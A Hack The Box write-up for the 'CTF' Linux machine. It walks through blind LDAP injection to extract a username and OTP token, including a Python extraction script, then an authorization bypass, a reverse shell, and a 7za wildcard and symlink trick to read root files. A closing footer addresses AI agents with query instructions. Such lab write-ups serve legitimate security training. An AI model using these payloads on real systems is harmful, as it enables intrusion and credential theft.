# CTF

<figure><img src="/files/XxiZWjsOdeX8S2IRuuYh" alt=""><figcaption></figcaption></figure>

## Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

> nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.122 -oN allPorts

* `-sS` use the **TCP SYN** scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
* `--min-rate 5000` nmap will try to keep the sending rate **at or above** 5000 packets per second.
* `-p-` scanning the entire port range, **from 1 to 65535**.
* `-T5` **insane** mode, it is the fastest mode of the nmap time template.
* `-Pn` assume the host is **online**.
* `-n` scan without reverse **DNS** resolution.
* `-oN` **save** the scan result into a file, in this case the *allports* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.93 scan initiated Fri May 19 07:52:16 2023 as: nmap -sS --min-rate 5000 -p- -n -Pn -oN allPorts 10.10.10.122
Nmap scan report for 10.10.10.122
Host is up (0.15s latency).
Not shown: 65501 filtered tcp ports (no-response), 32 filtered tcp ports (host-prohibited)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

# Nmap done at Fri May 19 07:52:43 2023 -- 1 IP address (1 host up) scanned in 26.70 seconds
```

{% endcode %}

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

> nmap -sC -sV -p22,80 10.10.10.122 -oN targeted

* `-sC` performs the scan using the default set of **scripts**.
* `-sV` enables **version** detection.
* `-oN` **save** the scan result into file, in this case the *targeted* file.

{% code overflow="wrap" %}

```bash
# Nmap 7.93 scan initiated Fri May 19 07:53:37 2023 as: nmap -sCV -p22,80 -Pn -n -oN targeted 10.10.10.122
Nmap scan report for 10.10.10.122
Host is up (0.068s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 fdadf7cbdc421e437db3d58bce63b90e (RSA)
|   256 3def345ce5175e06d7a4c886cae2dffb (ECDSA)
|_  256 4c46e2168a14f6f0aa396c9746dbb440 (ED25519)
80/tcp open  http    Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
|_http-title: CTF
|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16
| http-methods: 
|_  Potentially risky methods: TRACE

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri May 19 07:53:45 2023 -- 1 IP address (1 host up) scanned in 8.64 seconds
```

{% endcode %}

The website shows a message saying that any host that tries to bruteforce the site will be banned.

<figure><img src="/files/q0MWTDFOPEa6VzVNeVN3" alt=""><figcaption></figcaption></figure>

There is a login page that shows whether the user provided exists or not.

<figure><img src="/files/Z0cA9wziiEZyIe3UUzby" alt=""><figcaption></figcaption></figure>

There is a comment in the source code that says that the token string necessary to create OTP codes is 81 long.

<figure><img src="/files/deLEjlG6po92nQUq97OX" alt=""><figcaption></figcaption></figure>

If we try to inject some payload, we'll see that nothing will appear. Maybe it is because there are some characters that are not allowed.

<figure><img src="/files/aacEeVWMEMSkEcJjBFOw" alt=""><figcaption></figcaption></figure>

Let's try to bruteforce special characters, and see which ones are not accepted by the server. First, check out how to requests are being made.

<figure><img src="/files/hDakvpJrOBoqbyoYgRM8" alt=""><figcaption></figcaption></figure>

Now, using the doble-uri-hex.txt dictionary, we'll be able to see which characters are the ones not accepted by the server.

> wfuzz -c -t 1 --hw=233 --hc=404 -w /opt/SecLists/Fuzzing/doble-uri-hex.txt -d 'inputUsername=FUZZ\&inputOTP=test' <http://10.10.10.122/login.php>

{% code overflow="wrap" %}

```
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.122/login.php
Total requests: 256

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                      
=====================================================================

000000001:   200        68 L     229 W      2810 Ch     "%2500"                                                                      
000000041:   200        68 L     229 W      2810 Ch     "%2528"                                                                      
000000043:   200        68 L     231 W      2822 Ch     "%252a"                                                                      
000000042:   200        68 L     229 W      2810 Ch     "%2529"                                                                      
000000093:   200        68 L     229 W      2810 Ch     "%255c"                                                                      

Total time: 0
Processed Requests: 256
Filtered Requests: 251
Requests/sec.: 0
```

{% endcode %}

These are double URL encoded special characters. Here are the decoded versions.

```
%2500 -> \0
%2528 -> (
%252a -> *
%2529 -> )
%255c -> \
```

## Exploitation

These characters are commonly used in LDAP servers. We could try to make an LDAP Injection. We can suppose that the LDAP query looks something like this.

```bash
(&
	(&
		(inputOTP=1234)
		(inputUsername=admin)
	)
	(&
		()
		()
	)
)
```

We could try to log in with the username `*)))%00`, this way we make the query true, and comment the rest of the query.

```bash
(&
	(&
		(inputOTP=1234)
		(inputUsername=*)))%00)
	)
	(&
		()
		()
	)
)
```

Let's intercept a login request with *BurpSuite*, and send it to the repeater. Then, send the payload as the username. Make sure to double URL encode the payload to make it work.

> inputUsername=<mark style="color:red;">%252a%2529%2529%2529%2500</mark>\&inputOTP=test

<figure><img src="/files/RyI4xkoGXBZ6EMGxRLuY" alt=""><figcaption></figcaption></figure>

As we can see above, we get the message `Cannot login`. Now we know that when we get that message, the query is true. Now we could enumerate usernames from the LDAP server. We need to add each letter of the alphabet at the beginning of the payload. Once we find the first letter, we'll add the second one next to it. The first letter is an `l`.

> wfuzz -c -t 1 --hw=233 --hc=404 -w /opt/SecLists/Fuzzing/char.txt -d 'inputUsername=FUZZ%252a%2529%2529%2529%2500\&inputOTP=test' <http://10.10.10.122/login.php>

{% code overflow="wrap" %}

```
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.122/login.php
Total requests: 26

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                      
=====================================================================

000000012:   200        68 L     231 W      2822 Ch     "l"                                                                          

Total time: 0
Processed Requests: 26
Filtered Requests: 25
Requests/sec.: 0
```

{% endcode %}

The second letter is a `d`.

> wfuzz -c -t 1 --hw=233 --hc=404 -w /opt/SecLists/Fuzzing/char.txt -d 'inputUsername=lFUZZ%252a%2529%2529%2529%2500\&inputOTP=test' <http://10.10.10.122/login.php>

{% code overflow="wrap" %}

```
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.122/login.php
Total requests: 26

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                      
=====================================================================

000000004:   200        68 L     231 W      2822 Ch     "d"                                                                          

Total time: 0
Processed Requests: 26
Filtered Requests: 25
Requests/sec.: 0
```

{% endcode %}

If we keep doing this over and over again, we'll see that the username is `ldapuser`, because there are no more letters.

> wfuzz -c -t 1 --hw=233 --hc=404 -w /opt/SecLists/Fuzzing/char.txt -d 'inputUsername=ldapuserFUZZ%252a%2529%2529%2529%2500\&inputOTP=test' <http://10.10.10.122/login.php>

{% code overflow="wrap" %}

```
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.122/login.php
Total requests: 26

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                      
=====================================================================


Total time: 1.576919
Processed Requests: 26
Filtered Requests: 26
Requests/sec.: 16.48784
```

{% endcode %}

We have retrieved the username, but could also get LDAP attributes. I will be using the [LDAP\_attributes.txt](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP_attributes.txt) dictionary from *PayloadAllTheThings*. We could enter a username like `)(FUZZ=*)))%00`, to enumerate attributes.

```bash
(&
	(&
		(inputOTP=1234)
		(inputUsername=ldapuser)(FUZZ=*)))%00)
	)
	(&
		()
		()
	)
)
```

There are a bunch of attributes available.

> wfuzz -c -t 1 --hw=233 -w LDAP\_attributes.txt -d 'inputUsername=ldapuser%2529%2528FUZZ%253d%252a\&inputOTP=test' <http://10.10.10.122/login.php>

{% code overflow="wrap" %}

```
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.122/login.php
Total requests: 27

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                      
=====================================================================

000000002:   200        68 L     231 W      2822 Ch     "cn"                                                                         
000000004:   200        68 L     231 W      2822 Ch     "commonName"                                                                 
000000013:   200        68 L     231 W      2822 Ch     "mail"                                                                       
000000015:   200        68 L     231 W      2822 Ch     "name"                                                                       
000000020:   200        68 L     231 W      2822 Ch     "pager"                                                                      
000000017:   200        68 L     231 W      2822 Ch     "objectClass"                                                                
000000025:   200        68 L     231 W      2822 Ch     "uid"                                                                        
000000022:   200        68 L     231 W      2822 Ch     "sn"                                                                         
000000024:   200        68 L     231 W      2822 Ch     "surname"                                                                    
000000027:   200        68 L     231 W      2822 Ch     "userPassword"                                                               

Total time: 0
Processed Requests: 27
Filtered Requests: 17
Requests/sec.: 0
```

{% endcode %}

The `pager` attribute looks interesting. It could contain the 81 characters token needed to create OTD codes. We will need to inject the payload `ldapuser)(pager=FUZZ*)))%00` as the username.

```bash
(&
	(&
		(inputOTP=1234)
		(inputUsername=ldapuser)(pager=a*)))%00)
	)
	(&
		()
		()
	)
)
```

The first number of the token is a `2`.

> seq 0 9 > digits
>
> wfuzz -c -t 1 --hw=233 -w digits -d 'inputUsername=ldapuser%2529%2528pager%253dFUZZ%252a\&inputOTP=test' <http://10.10.10.122/login.php>

{% code overflow="wrap" %}

```
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.10.122/login.php
Total requests: 10

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                      
=====================================================================

000000003:   200        68 L     231 W      2822 Ch     "2"                                                                          

Total time: 0
Processed Requests: 10
Filtered Requests: 9
Requests/sec.: 0
```

{% endcode %}

As the token is 81 characters long, i made a python script that automates this whole process.

```python
#!/usr/bin/python3

import requests
from pwn import *
import string

def def_handler(sig, frame):
	print("\n[!] Quiting...\n")
	sys.exit(1)

# Ctrl+C
signal.signal(signal.SIGINT, def_handler)

digits = string.digits
main_url = "http://10.10.10.122/login.php"
proxy = {'http': 'http://localhost:8080'}

def ldapi(query, chars):
	counter = 1
	trigger = 0
	element = ""

	while trigger == 0:
		for char in chars:
			p2.status("%s%s" % (element,char))
			payload = query.split("FUZZ")
		
			data = {
				'inputUsername': payload[0] + element + char + payload[1],
				'inputOTP': 'test'
			}
						
			r = requests.post(main_url, data=data, proxies=proxy)

			if "Cannot" in r.text:
				element += char
				counter += 1
				p2.status(element)
				break
			else:
				if char == chars[-1]:
					p2.status(element)
					trigger = 1
			time.sleep(1)
	
	return element
	

def makeRequest():

	p1 = log.progress("LDAP Injection")
	time.sleep(1)

	global p2
	p2 = log.progress("Token")
	time.sleep(1)

	query = 'ldapuser%29%28pager%3dFUZZ%2a'	
	token = ldapi(query, digits)
	log.info("Token: %s" % token)

	p2.status("Finished")
	

if __name__ == '__main__':
	makeRequest()
```

Run the script to get the token.

> python exploit.py

{% code overflow="wrap" %}

```
[...../..] OTP: Finished
[*] OTP: 285449490011357156531651545652335570713167411445727140604172141456711102716717000
```

{% endcode %}

Now we can create OTP codes using that token. Make sure to have the same time configured as the server.

> stoken --token=285449490011357156531651545652335570713167411445727140604172141456711102716717000 --pin=0000

```
45657304
```

Now we have everything needed to log in.

<figure><img src="/files/zNVrPit5oBjwGU3Bro8X" alt=""><figcaption></figcaption></figure>

Once logged in, we'll see one field which allows us to execute commands. But if we try to execute any command we'll see an error saying that we must be a member of the `root` or `adm` group to issue commands.

<figure><img src="/files/d3J90obZy82EeqKyu1Wn" alt=""><figcaption></figcaption></figure>

This might happen because there is a compararison when we log in. But we could log in with a payload such as `ldapuser)))%00`, which will comment anything after the username so this restriction doesn't apply.

> inputUsername=<mark style="color:red;">ldapuser%2529%2529%2529%2500</mark>\&inputOTP=45657304

<figure><img src="/files/8urnKsFutJCID4HE7VFk" alt=""><figcaption></figcaption></figure>

This way we can bypass the restriction and run commands in the server.

<figure><img src="/files/Um0HgkbbcjNoS0rUNEyr" alt=""><figcaption></figcaption></figure>

Time to get a shell. First, let's set a *netcat* listener on port *4444*.

> nc -lvnp 4444

* `-l` **listen** mode.
* `-v` **verbose** mode.
* `-n` **numeric-only** IP, no DNS resolution.
* `-p` specify the **port** to listen on.

Now, send a reverse shell using the website to get access to the server as `apache`.

<figure><img src="/files/4jvvVDYjXccna6YJYvVj" alt=""><figcaption></figcaption></figure>

```
Listening on 0.0.0.0 4444
Connection received on 10.10.10.122 52220
bash: no job control in this shell
bash-4.2$ whoami
whoami
apache
```

## Privilege Escalation

There is one `backup` directory in `/`.

> ls -la /

```
total 44
drwxr-xr-x.  18 root root 4096 Sep 20  2022 .
drwxr-xr-x.  18 root root 4096 Sep 20  2022 ..
drwxr-xr-x.   2 root root 4096 May 19 21:30 backup
lrwxrwxrwx.   1 root root    7 Sep 20  2022 bin -> usr/bin
drwxr-xr-x.   5 root root 4096 Sep 20  2022 boot
drwxr-xr-x.  19 root root 3040 May 19 16:29 dev
drwxr-xr-x.  92 root root 8192 Sep 20  2022 etc
drwxr-xr-x.   3 root root   22 Jul 30  2018 home
lrwxrwxrwx.   1 root root    7 Sep 20  2022 lib -> usr/lib
lrwxrwxrwx.   1 root root    9 Sep 20  2022 lib64 -> usr/lib64
drwxr-xr-x.   2 root root    6 Apr 11  2018 media
drwxr-xr-x.   2 root root    6 Apr 11  2018 mnt
drwxr-xr-x.   3 root root   16 Jul 30  2018 opt
dr-xr-xr-x. 128 root root    0 May 19 16:29 proc
dr-xr-x---.   8 root root 4096 Sep 20  2022 root
drwxr-xr-x.  32 root root  960 May 19 16:29 run
lrwxrwxrwx.   1 root root    8 Sep 20  2022 sbin -> usr/sbin
drwxr-xr-x.   2 root root    6 Apr 11  2018 srv
dr-xr-xr-x.  13 root root    0 May 19 16:29 sys
drwxrwxrwt.  12 root root 4096 May 19 17:52 tmp
drwxr-xr-x.  13 root root 4096 Jul 30  2018 usr
drwxr-xr-x.  21 root root 4096 Jul 30  2018 var
```

This directory contains a bunch of `.zip` files, and `.log` file and a bash script.

> ls -la /backup

```
total 56
drwxr-xr-x.  2 root root 4096 May 19 21:31 .
drwxr-xr-x. 18 root root 4096 Sep 20  2022 ..
-rw-r--r--.  1 root root   32 May 19 21:21 backup.1684524061.zip
-rw-r--r--.  1 root root   32 May 19 21:22 backup.1684524121.zip
-rw-r--r--.  1 root root   32 May 19 21:23 backup.1684524181.zip
-rw-r--r--.  1 root root   32 May 19 21:24 backup.1684524241.zip
-rw-r--r--.  1 root root   32 May 19 21:25 backup.1684524301.zip
-rw-r--r--.  1 root root   32 May 19 21:26 backup.1684524361.zip
-rw-r--r--.  1 root root   32 May 19 21:27 backup.1684524421.zip
-rw-r--r--.  1 root root   32 May 19 21:28 backup.1684524481.zip
-rw-r--r--.  1 root root   32 May 19 21:29 backup.1684524541.zip
-rw-r--r--.  1 root root   32 May 19 21:30 backup.1684524601.zip
-rw-r--r--.  1 root root   32 May 19 21:31 backup.1684524661.zip
-rw-r--r--.  1 root root    0 May 19 21:31 error.log
-rwxr--r--.  1 root root  975 Oct 23  2018 honeypot.sh
```

The honeypot.sh script contains the following code. As we can see, it is doing a backup ZIP file of the content of `/var/www/html/uploads`.

> cat /backup/honeypot.sh

{% code overflow="wrap" %}

```bash
# get banned ips from fail2ban jails and update banned.txt
# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
# awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt

# some vars in order to be sure that backups are protected
now=$(date +"%s")
filename="backup.$now"
pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')

# keep only last 10 backups
cd /backup
ls -1t *.zip | tail -n +11 | xargs rm -f

# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$filename.zip -t7z -snl -p$pass -- *

# cleaup the honeypot
rm -rf -- *

# comment the next line to get errors for debugging
truncate -s 0 /backup/error.log
```

{% endcode %}

There is a way to read the *root* flag. As we can see it is using the `7za` tool with `*`. We need write permissions in `/var/www/html/uploads`.

> ls -ld /var/www/html/uploads

```
drwxr-x--x. 2 apache apache 6 Oct 23  2018 /var/www/html/uploads
```

We can create files. The idea is to create the `@test` file, and then create a symbolic link from the *root* flag to the `test` file.

> touch /var/www/html/uploads/@userflag
>
> ln -s -f /home/ldapuser/user.txt /var/www/html/uploads/userflag
>
> touch /var/www/html/uploads/@rootflag
>
> ln -s -f /root/root.txt /var/www/html/uploads/rootflag

Finally, check out the `error.log` file, and then all we have to do is reap the harvest and take both the user and root flag.

> tail -f /backup/error.log

```
WARNING: No more files
fb220c75acacbedfa7a63f06924e0b5b

WARNING: No more files
d679443b6f2206030fd3a3e7e2cae1a4
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://alfa8sa.gitbook.io/htb-writeups/linux-machines/ctf.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
